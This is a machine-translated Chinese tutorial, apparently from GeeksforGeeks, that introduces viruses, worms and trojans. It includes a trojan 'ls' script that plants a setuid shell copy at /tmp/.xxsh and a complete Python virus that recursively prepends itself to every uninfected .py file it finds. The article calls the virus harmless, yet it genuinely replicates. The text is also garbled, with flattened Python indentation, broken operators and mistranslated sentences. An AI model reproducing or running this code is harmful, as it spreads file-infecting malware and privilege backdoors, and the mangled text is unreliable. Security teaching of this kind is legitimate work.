病毒——从新手到职业选手

注意:使用在线编译器在这里不起作用。请安装Python2.7x和cv2,argparse模块来实际试用这个例子。

null

嘿,朋友们!欢迎回来!在继续恶意逻辑之前,我请大家看一看这篇内容丰富的文章 蠕虫、病毒和其他 !!

现在,本文将更多地关注应用,而不是计算机病毒、蠕虫和特洛伊木马的理论。

但是,请注意,本文仅用于教育目的。 一、 绝不能鼓励使用病毒、蠕虫或特洛伊木马攻击计算机系统并造成损害。

恶意逻辑是导致违反网站/程序/应用程序等安全策略的一组指令(基本上是一个程序)。

UNIX脚本

    cp /bin/sh /tmp/.xxsh
    chmod u+s,o+x /tmp/.xxsh
    rm ./ls
    ls $*

在本例中,我们假设“.”位于path环境中,脚本名为ls,并放置在目录中。

分析剧本

此脚本创建一个UNIX Shell的副本,该副本是执行此程序的用户的setuid。为了理解setuid程序,我们首先需要了解用户身份是如何存储在UNIX操作系统中的。

在UNIX操作系统中,用户标识通常表示为0到65535之间的整数。该号码也称为UID(唯一标识号)。现在,setuid程序所做的是,它们使用所有者的UID而不是执行程序的第三方的UID创建进程。这意味着,遗嘱执行人将拥有所有者的权利……这本身就是一个可能的漏洞。

回到我们的脚本,我们创建了UNIX shell的setuid副本。稍后,删除该程序,然后执行正确的ls命令(用于列出当前工作目录中的文件和文件夹)。

特洛伊木马

回到上一个脚本…假设有人(root)键入:

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh

如果故意键入脚本,则会导致特洛伊木马。

病毒——一种基本格式

大多数计算机病毒遵循以下基本脚本:

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus

基本上,每种计算机病毒都有两个阶段——

  1. 插入阶段——在此阶段,病毒将自身插入目标。
  2. 执行阶段——在这个阶段,病毒会执行一些操作。

让我们看看Python中的一个真正的病毒。现在这不是一个真正的病毒,它会导致文件损坏、系统文件删除等。 但这只是一种简单无害的病毒。

#!/usr/bin/python
import os, datetime, inspect
DATA_TO_INSERT = "GEEKSFORGEEKS"
#search for target files in path
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for filename in filelist:
#If it is a folder
if os.path.isdir(path + "/" + filename):
filestoinfect.extend(search(path + "/" + filename))
#If it is a python script -> Infect it
elif filename[ - 3 :] = = ".py" :
#default value
infected = False
for line in open (path + "/" + filename):
if DATA_TO_INSERT in line:
infected = True
break
if infected = = False :
filestoinfect.append(path + "/" + filename)
return filestoinfect
#changes to be made in the target file
def infect(filestoinfect):
target_file = inspect.currentframe().f_code.co_filename
virus = open (os.path.abspath(target_file))
virusstring = ""
for i,line in enumerate (virus):
if i> = 0 and i < 41 :
virusstring + = line
virus.close
for fname in filestoinfect:
f = open (fname)
temp = f.read()
f.close()
f = open (fname, "w" )
f.write(virusstring + temp)
f.close()
#Not required actually
def explode():
if datetime.datetime.now().month = = 4 and datetime.datetime.now().day = = 1 :
print ( "HAPPY APRIL FOOL'S DAY!!" )
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
explode()


现在,这是一个相当安全的病毒,但基本格式和工作方式是一样的。

此外,还有各种类型的计算机病毒——引导扇区病毒、可执行病毒、多部分病毒、TSR病毒、隐形病毒、加密病毒、多态病毒、宏病毒。

现在,我将不深入讨论细节,仅限于此。这都是我这边的!

关于作者:

维什韦什·施里马里 是BITS Pilani大学机械工程专业的本科生。他实现了 vish 关于他所在分支机构未教授的所有要求——白帽黑客、网络安全运营商和前竞争对手程序员。作为Python强大功能的坚定信徒,他的大部分作品都是用同一种语言完成的。每当他有时间除了编程、上课、看CSI网络之外,他就会去散步,默默地弹吉他。他的人生座右铭是:“享受生活,因为它值得享受!”

如果你也想在这里展示你的博客,请参见 吉微博 在Geeksforgek上写客博。

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享